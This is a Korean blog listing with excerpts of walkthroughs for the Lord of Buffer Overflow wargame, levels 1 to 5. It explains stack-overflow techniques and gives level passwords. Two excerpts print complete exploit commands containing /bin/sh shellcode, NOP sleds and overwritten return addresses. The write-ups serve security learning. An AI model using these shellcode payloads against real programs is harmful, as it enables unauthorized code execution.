Wargame/Lord Of Buffer overflow 썸네일형 리스트형 [LOB] 5번 orc -> wolfman id : orcpassword : cantata 로그인 후 wolfman.c 코드를 보면 다음과 같다 이번 문제는 환경변수를 없애고 버퍼를 0으로 채우게 된다 남아있는 것은 argv[1]이기 때문에 리턴어드레스에 argv[1]의 주소를 넣어주면 된다 gdb로 argv[1]의 시작 주소를 알아냈다 0xbffffc46이다 $ebp에는 sfp, 리턴 어드레스, argc, argv[2]가 들어간다 원래 0x00000000 대신에 0x00000002 가 있어야 한다 ./wolfman `python -c 'print "\x90"*15 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x8.. 더보기 [LOB] 4번 goblin -> orc id : goblinpassword : hackers proof 로그인하면 orc.c 파일이 있다 코드는 다음과 같다 리턴 어드레스에 들어갈 주소가 bf로 시작해야 한다는 점이 새롭다 버퍼에 40이 들어가고 sfp까지 44를 채워준 후 버퍼의 주소를 입력해주면 될 것 같다 gdb로 버퍼의 주소를 알아냈다 0xbffffc35 리틀엔디안 방식이기 때문에 \x35\xfc\xff\xbf 를 입력해줘야 한다 ./orc `python -c 'print "\x90"*15 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "\x90"*4 + "\x35\xfc\xff\xbf"'` .. 더보기 [LOB] 3번 cobolt -> goblin id : coboltpasswd : hacking exposed 로그인 후 goblin의 코드를 보면 다음과 같다. 이번에는 gets로 문자열을 입력받는다. 2번처럼 환경변수를 사용하여 문제를 풀면 된다. shellcode 라는 환경변수를 만들어서 파이프라인을 통해 문제를 해결할 수 있다. 파이프라인의 첫번째 명령의 출력값이 두 번째 명령의 입력으로 사용된다. 따라서 goblin에서 gets로 받아오는 값을 통해 쉘이 실행되어 my-pass를 통해 비밀번호를 알아낼 수 있다. 여기서 cat을 쓰는 이유는 EOF를 인식해 프로그램을 종료시키는 것을 막기 위해서이다. cat을 쓰지 않고 실행했을 때 프로그램이 혼자 종료된다. 따라서 프로그램의 종료를 지연해주는 역할을 해준다. 더보기 [LOB] 2번 gremlin -> cobolt login : gremlin password : hello bof world 로그인 후 vi cobolt.c로 소스코드를 확인한다. 1번 문제처럼 풀기엔 버퍼의 크기가 작다. 그래서 환경 변수로 풀어주면 된다. 위와 같이 SHELL 이라는 환경 변수에 쉘코드 주소를 넣어준다. env 명령어로 환경변수 SHELL이 생긴 걸 알 수 있다. 환경변수의 주소를 알기 위한 코드를 C언어로 작성해보았다. 환경변수의 주소는 위와 같다. 그래서 위와 같이 버퍼와 SFP를 NOP으로 채워주고 RET 주소에 환경변수 주소를 넣어주면 문제 해결 더보기 [LOB] 1번 gremlin LOB란 버퍼 오버플로우르 이용한 Wargame 이다. The Lord of Bufferoverflow 의 약자이다. 이를 풀기 위해서는 LOB 이미지를 해커스쿨 사이트에서 다운 받아 가상 환경에서 서버를 구축해야 한다. 구축하고 telnet [IP 주소]로 연결하면 화면이 다음과 같이 구성된다. login : gatePassword : gate 로그인을 하고 파일을 보면 gremlin.c 가 있다. vi gremlin.c 로 코드를 보면 다음과 같이 되어 있다. 버퍼로 256을 입력 받고 argc 가 2개 미만이면 오류를 출력하고 프로그램을 종료한다. 2개 이상이면 buffer에 argv[1] 인자를 복사 시킨다. 이 문제는 strcpy 함수를 실행할 때 어느정도 크기의 값을 복사할 지 정하지 않는다는.. 더보기 이전 1 2 다음